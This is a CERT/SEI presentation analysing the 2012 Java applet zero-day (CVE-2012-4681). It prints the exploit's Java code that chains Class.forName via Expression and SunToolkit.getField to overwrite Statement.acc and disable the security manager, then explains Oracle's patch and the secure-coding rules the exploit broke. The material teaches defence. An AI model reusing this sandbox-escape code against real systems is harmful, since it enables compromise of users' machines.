Anatomy of a Java 0-day Exploit

David Svoboda
This material is based upon work funded and supported by the Department of Defense under Contract No. FA8721-05-C-0003 with Carnegie Mellon University for the operation of the Software Engineering Institute, a federally funded research and development center.

Any opinions, findings and conclusions or recommendations expressed in this material are those of the author(s) and do not necessarily reflect the views of the United States Department of Defense.

NO WARRANTY. THIS CARNEGIE MELLON UNIVERSITY AND SOFTWARE ENGINEERING INSTITUTE MATERIAL IS FURNISHED ON AN “AS-IS” BASIS. CARNEGIE MELLON UNIVERSITY MAKES NO WARRANTIES OF ANY KIND, EITHER EXPRESSED OR IMPLIED, AS TO ANY MATTER INCLUDING, BUT NOT LIMITED TO, WARRANTY OF FITNESS FOR PURPOSE OR MERCHANTABILITY, EXCLUSIVITY, OR RESULTS OBTAINED FROM USE OF THE MATERIAL. CARNEGIE MELLON UNIVERSITY DOES NOT MAKE ANY WARRANTY OF ANY KIND WITH RESPECT TO FREEDOM FROM PATENT, TRADEMARK, OR COPYRIGHT INFRINGEMENT.

This material has been approved for public release and unlimited distribution except as restricted below.

This material may be reproduced in its entirety, without modification, and freely distributed in written or electronic form without requesting formal permission. Permission is required for any other use. Requests for permission should be directed to the Software Engineering Institute at permission@sei.cmu.edu.

CERT® is a registered mark of Carnegie Mellon University.

DM-0001400
Agenda

- Intro: Java Applet Security
- August 2012 Exploit
- Patch to August 2012 Exploit
- Summary
Security Explorations has found 59 vulnerabilities that are “pure Java”
- **April 2012**: 20 vulnerabilities reported to Oracle
- **November 2012**: Research published

Is it easy to break Java security?
Java is one of the most exciting and difficult-to-break technologies we have ever met with. Contrary to common belief, it is not so easy to break Java. For a reliable, non-memory-corruption–based exploit codes, usually more than one issue needs to be combined to achieve a full JVM sandbox compromise. This alone is both challenging and demanding, as it usually requires a deep knowledge of a JVM implementation and the tricks that can be used to break its security.
- Security Explorations FAQ
Secure Coding Guidelines

**The CERT™ Oracle™ Secure Coding Standard for Java**
by Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland, David Svoboda

Rules available online at [www.securecoding.cert.org](http://www.securecoding.cert.org)

**Java Coding Guidelines**
by Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland, David Svoboda
Secure Coding Guidelines

CERT/CC Blog
Anatomy of Java Exploits
by David Svoboda
January 15, 2013 2:00 PM

Well-Behaved Applets

Applets run in a security sandbox

• Chaperoned by a SecurityManager
  • which throws a SecurityException if applet tries to do anything forbidden

Sandbox prevents applets from:

• Accessing the filesystem
• Accessing the network
  • EXCEPT the host it came from
• Running external programs
• Modifying the security manager

A signed applet may request privilege to do these things.
Well-Behaved Applet

```java
public void init() {
    try {
        Process localProcess = null;
        localProcess = Runtime.getRuntime().exec("xclock");
        if (localProcess != null)
            localProcess.waitFor();
    } catch (Throwable localThrowable) {
        localThrowable.printStackTrace();
    }
}

called when the applet is first created

called when the applet is visited

public void paint(Graphics paramGraphics) {
    paramGraphics.drawString("Loading", 50, 25);
}
```
Invoking the Well-Behaved Applet

<html>

Java applet here:

<APPLET code="javaapplet.Java"
    archive='signed.jar'
    width="300" height="100"
>
</APPLET>

</html>
Well-Behaved Applet Stack Trace

java.security.AccessControlException: access denied
   ("java.io.FilePermission" "<<ALL FILES>>" "execute")
at java.security.AccessControlContext.checkPermission(
    AccessControlContext.java:366)
at java.security.AccessController.checkPermission(
    AccessController.java:555)
at java.lang.SecurityManager.checkPermission(
    SecurityManager.java:549)
at java.lang.SecurityManager.checkExec(
    SecurityManager.java:799)
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1016)
at java.lang.Runtime.exec(Runtime.java:615)
at java.lang.Runtime.exec(Runtime.java:448)
at java.lang.Runtime.exec(Runtime.java:345)
at javaapplet.Java.init(Java.java:24)
at sun.applet.AppletPanel.run(AppletPanel.java:434)
at java.lang.Thread.run(Thread.java:722)

localProcess = Runtime.getRuntime().exec("xclock");
Agenda

• Intro: Java Applet Security
• August 2012 Exploit
• Patch to August 2012 Exploit
• Summary
August 2012 Exploit (**CVE-2012-4681**)

Pure Java (no C-level bugs involved)

Ran using Oracle Java 1.7.0u6

*Exploit fails under OpenJDK*

Disables the security manager

(*e.g., breaks out of jail*)

Can then do anything a Java desktop app can do

Was used to install malware
Exploit Code: init()

```java
public void init() {

    try {
        disableSecurity();
        Process localProcess = null;
        localProcess = Runtime.getRuntime().exec("xclock");
        if (localProcess != null)
            localProcess.waitFor();
    } catch (Throwable localThrowable) {
        localThrowable.printStackTrace();
    }
}
```
Exploit Code: `disableSecurity()`

```java
public void disableSecurity() throws Throwable {
    Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
    Permissions localPermissions = new Permissions();
    localPermissions.add(new AllPermission());
    ProtectionDomain localProtectionDomain =
        new ProtectionDomain(new CodeSource(new URL("file:///"),
                                           new Certificate[0]),
                              localPermissions);
    AccessControlContext localAccessControlContext =
        new AccessControlContext(new ProtectionDomain[] {
                        localProtectionDomain
                    });
    SetField(Statement.class, "acc",
             localStatement, localAccessControlContext);
    localStatement.execute();
}
```
What Is `Statement.acc`?

- New to Java 7 (and latest updates of Java 6)
- Not in API docs
- Private field in `java.beans.Statement`
  - Not modifiable or accessible outside `Statement`
```java
private final AccessControlContext acc = AccessController.getContext();

public void execute() throws Exception {
    invoke();
}

Object invoke() throws Exception {
    AccessControlContext acc = this.acc;
    if ((acc == null) && (System.getSecurityManager() != null)) {
        throw new SecurityException("AccessControlContext is not set");
    }
    try {
        return AccessController.doPrivileged(
            new PrivilegedExceptionAction<Object>() {
                public Object run() throws Exception {
                    return invokeInternal();
                }
            },
            acc
        );
    } catch (PrivilegedActionException exception) {
        throw exception.getException();
    }
}
```

Everything except this statement is new to Java 7
What Is Statement.acc?

- Initialized to current privileges when Statement is created
- Indicates privileges to use when Statement is invoked
  - Useful if Statement is invoked by a routine with different privileges than it was created with
Exploit Code: `setField()`

```java
private void SetField(Class paramClass,
    String paramString,
    Object paramObject1,
    Object paramObject2)
    throws Throwable {

    Object arrayOfObject[] = new Object[2];
    arrayOfObject[0] = paramClass;
    arrayOfObject[1] = paramString;
    Expression localExpression =
        new Expression(GetClass("sun.awt.SunToolkit"),
                        "getField", arrayOfObject);
    localExpression.execute();
    ((Field)localExpression.getValue()).set( paramObject1,
        paramObject2);
}
```
What Is sun.awt.SunToolkit?

Private class used in Java internals

- Classes in `sun.*` are not recommended for general use
- Applets are forbidden to access them

No security checks; assumes that only privileged code may use it
public static Field getField(final Class klass, final String
        fieldName) {
    return AccessController.doPrivileged(new PrivilegedAction<Field>()
    {
        public Field run() {
            try {
                Field field = klass.getDeclaredField(fieldName);
                assert (field != null);
                field.setAccessible(true);
                return field;
            } catch (SecurityException e) {
                assert false;
            } catch (NoSuchFieldException e) {
                assert false;
            }
            return null;
        }
    });
} //run

Secure Coding Guidelines

sun.awt.SunToolkit.getField() violates several guidelines:

SEC05-J. Do not use reflection to increase accessibility of classes, methods, or fields

SEC00-J. Do not allow privileged blocks to leak sensitive information across a trust boundary
private Class GetClass(String paramString) throws Throwable {

    Object arrayOfObject[] = new Object[1];
    arrayOfObject[0] = paramString;
    Expression localExpression =
        new Expression(Class.class, "forName",
                       arrayOfObject);
    localExpression.execute();
    return (Class)localExpression.getValue();
}
Q: If class A is unprivileged and class B is privileged, how do we make sure that class A doesn’t trick class B into doing something privileged on A’s behalf?
Confused Deputy Problem 2

A: Require that all callers are privileged before proceeding.
Standard Security Check

When the security package needs to verify that a program is allowed to perform some operation, it checks that all classes in the call stack are privileged.

If any class in the stack lacks appropriate privileges, it throws a SecurityException.

<table>
<thead>
<tr>
<th>Method</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>java.security.AccessControlContext.checkPermission</code></td>
</tr>
<tr>
<td><code>java.security.AccessController.checkPermission</code></td>
</tr>
<tr>
<td><code>java.lang.SecurityManager.checkPermission</code></td>
</tr>
<tr>
<td><code>java.lang.SecurityManager.checkExec</code></td>
</tr>
<tr>
<td><code>java.lang.ProcessBuilder.start</code></td>
</tr>
<tr>
<td><code>java.lang.Runtime.exec</code></td>
</tr>
<tr>
<td><code>javaapplet.Java.init</code></td>
</tr>
<tr>
<td><code>sun.applet.AppletPanel.run</code></td>
</tr>
<tr>
<td><code>java.lang.Thread.run</code></td>
</tr>
</tbody>
</table>
## Reduced Security Check

<table>
<thead>
<tr>
<th>Method</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>java.lang.Class.forName</code></td>
<td>Only checks immediate caller</td>
</tr>
<tr>
<td><code>com.sun.beans.finder.ClassFinder.findClass</code></td>
<td>Only class checked, privileged</td>
</tr>
<tr>
<td><code>com.sun.beans.finder.ClassFinder.resolveClass</code></td>
<td></td>
</tr>
<tr>
<td><code>java.beans.Statement.invokeInternal</code></td>
<td><code>class.forName()</code> handled personally</td>
</tr>
<tr>
<td><code>java.beans.Statement.invoke</code></td>
<td>Removes all access checks via <code>doPrivileged()</code></td>
</tr>
<tr>
<td><code>java.beans.Expression.execute</code></td>
<td></td>
</tr>
<tr>
<td><code>Gondvv.GetClass</code></td>
<td>Unprivileged</td>
</tr>
</tbody>
</table>
How to Fool Class.forName()

Class.forName() does a security check, but it is minimal
- Checks only that immediate calling class’s class loader has the required privileges
- This means that untrusted code can’t call class.forName() and get forbidden classes
- But it can trick trusted code into doing so!

java.beans.Expression.execute() violates:
18. Do not expose methods that use reduced security checks to untrusted code

Guideline 9-9: Safely invoke standard APIs that perform tasks using the immediate caller’s class loader instance

SEC04-J. Protect sensitive operations with security manager checks
Exploit Summary

1. **Expression** used to retrieve forbidden class SunToolkit
   - `java.beans.Expression(Class.forName())` would return any class (bypassing access checks)
2. SunToolkit used to retrieve & modify private field Statement.acc
   - `sun.awt.SunToolkit.getField()` would return any field, even if private, bypassing access restrictions
3. Modifying `java.beans.Statement.acc` converts an unprivileged statement to a privileged statement
4. Statement disables security manager
5. Profit!

2 vulnerabilities exploited!
Agenda

• Intro: Java Applet Security
• August 2012 Exploit
• Patch to August 2012 Exploit
• Summary
Mitigations

- Protect `sun.awt.SunToolkit.getField()`
- In `ClassFinder`, wrap each call to `Class.forName()` inside a new `checkAccess()` method

<table>
<thead>
<tr>
<th>Method</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>java.lang.Class.forName</code></td>
<td></td>
</tr>
<tr>
<td><code>com.sun.beans.finder.ClassFinder.findClass</code></td>
<td>Standard security check</td>
</tr>
<tr>
<td><code>com.sun.beans.finder.ClassFinder.resolveClass</code></td>
<td></td>
</tr>
<tr>
<td><code>java.beans.Statement.invokeInternal</code></td>
<td><code>class.forName()</code> handled personally</td>
</tr>
<tr>
<td><code>java.beans.Statement.invoke</code></td>
<td>Removes all access checks via <code>doPrivileged()</code></td>
</tr>
<tr>
<td><code>java.beans.Expression.execute</code></td>
<td></td>
</tr>
<tr>
<td><code>Gondvv.GetClass</code></td>
<td>Unprivileged</td>
</tr>
</tbody>
</table>
New checkAccess() method

/**
 * Check if the class may be accessed from the current access control
 * context. If not, throw a {@link SecurityException}.
 *
 * @param clazz
 * Class to check
 * @return the checked class
 */
private static Class<?> checkAccess(Class<?> clazz) throws SecurityException {
    SecurityManager sm = System.getSecurityManager();
    if (sm != null && clazz.getPackage() != null) {
        try {
            sm.checkPackageAccess(clazz.getPackage().getName());
        } catch (SecurityException se) {
            throw new SecurityException("Probable exploitation attempt? "+se.getMessage(), se);
        }
    }
    return clazz;
}
Exploit Deactivated

1. **Expression** used to retrieve forbidden class **SunToolkit**
   - `java.beans.Expression( Class.forName())` would return any class (bypassing access checks)
2. **SunToolkit** used to retrieve & modify private field **Statement.acc**
   - `sun.awt.SunToolkit.getField()` would return any field, even if private, bypassing access restrictions
3. Modifying `java.beans.Statement.acc` converts an unprivileged statement to a privileged statement
4. Statement disables security manager
5. Profit!
Deactivated Exploit Stack Trace

```
java.security.AccessControlException: access denied ("java.lang.RuntimePermission" 
"accessClassInPackage.sun.awt")

at java.security.AccessControlContext.checkPermission(AccessControlContext.java:366)

at java.security.AccessController.checkPermission(AccessController.java:560)

at java.lang.SecurityManager.checkPermission(SecurityManager.java:549)

at java.lang.SecurityManager.checkPackageAccess(SecurityManager.java:1529)


at sun.security.util.SecurityUtil.checkAccess(ClassLoader.java:134)

at com.sun.beans.Statement.invokeInternal(Statement.java:213)

at java.beans.Statement.invoke(Statement.java:182)

Expression localExpression = 
new Expression(Class.class, "forName", arrayOfObject);

localExpression.execute();
```

Expression localExpression =
new Expression(Class.class, "forName", arrayOfObject);

localExpression.execute();
Agenda

• Intro: Java Applet Security
• August 2012 Exploit
  • Patch to August 2012 Exploit
• Summary
# Exploit Comparison

<table>
<thead>
<tr>
<th>Goal</th>
<th>August</th>
<th>January</th>
</tr>
</thead>
<tbody>
<tr>
<td>1. Access forbidden class</td>
<td><strong>Expression</strong> used to retrieve forbidden class <strong>SunToolkit</strong></td>
<td><strong>MBeanInstantiator</strong>.<strong>findClass</strong> used to retrieve several forbidden classes</td>
</tr>
<tr>
<td>2. Use forbidden class to access forbidden methods, constructors, and fields</td>
<td><strong>SunToolkit</strong> used to retrieve &amp; modify private field java.beans.Statement.acc</td>
<td><strong>MethodHandles_LOOKUP</strong> used to access and invoke forbidden constructors and methods</td>
</tr>
<tr>
<td>3. Build privileged bytecode</td>
<td>Modifying Statement.acc converts an unprivileged statement to a privileged statement</td>
<td>Construct a <strong>ClassLoader</strong> that associates a class with a byte array</td>
</tr>
<tr>
<td>4. Execute privileged bytecode, which disables security manager</td>
<td>Invoke Statement</td>
<td>Constructs a new object of the class, transferring control to the byte array</td>
</tr>
<tr>
<td>5. Profit!</td>
<td>Profit!</td>
<td>Profit!</td>
</tr>
</tbody>
</table>
Vulnerabilities

- `java.beans.Expression(Class.forName())` would return any class (bypassing access checks)
- `com.sun.jmx.mbeanserver.MBeanInstantiator.findClass` would return any class (bypassing access checks)
- `sun.awt.SunToolkit.getField` would return any field, even if private, bypassing access restrictions
- `java.lang.invoke.MethodHandles.Lookup` would return any method or constructor, even if private, bypassing access restrictions
Secure Coding Guidelines

18. Do not expose methods that use reduced security checks to untrusted code

SEC00-J. Do not allow privileged blocks to leak sensitive information across a trust boundary

SEC04-J. Protect sensitive operations with security manager checks

SEC05-J. Do not use reflection to increase accessibility of classes, methods, or fields

Guideline 9-9: Safely invoke standard APIs that perform tasks using the immediate caller’s class loader instance

Guideline 9-10: Be aware of standard APIs that perform Java language access checks against the immediate caller

Guideline 9-11: Be aware java.lang.reflect.Method.invoke is ignored for checking the immediate caller
Java Exploit Relevance

Microsoft Security Intelligence Report, Volume 14
(July through December, 2012)
© 2013 Microsoft Corporation
Conclusion

- Java is a huge codebase with many features
  - Some are obsolete / deprecated
- Vulnerabilities can lurk everywhere!
  - Auditing code is a huge (expensive) task
    - with little glory
- Cheaper to prevent vulnerabilities during development
- Follow Java secure coding guidelines
Visit CERT® websites:
http://www.cert.org/secure-coding
https://www.securecoding.cert.org

Contact Presenter
David Svoboda
svoboda@cert.org
(412) 268-3965

Contact CERT:
Software Engineering Institute
Carnegie Mellon University
4500 Fifth Avenue
Pittsburgh PA 15213-3890
USA
References

*The CERT™ Oracle™ Secure Coding Standard for Java*
by Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland, David Svoboda
Rules available online at [www.securecoding.cert.org](http://www.securecoding.cert.org)

*Java Coding Guidelines*
by Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland, David Svoboda

CERT/CC Blog
*Anatomy of Java Exploits*
by Art Manion on January 15, 2013, 2:00 PM
References

Secure Coding Guidelines for the Java Programming Language, Version 4.0
http://www.oracle.com/technetwork/java/seccodeguide-139067.html

Java MBeanInstantiator.findClass 0Day Analysis
by Esteban Guillardoy
January, 2013
https://partners.immunityinc.com/idocs/Java%20MBeanInstantiator.findClass%200day%20Analysis.pdf

Security Explorations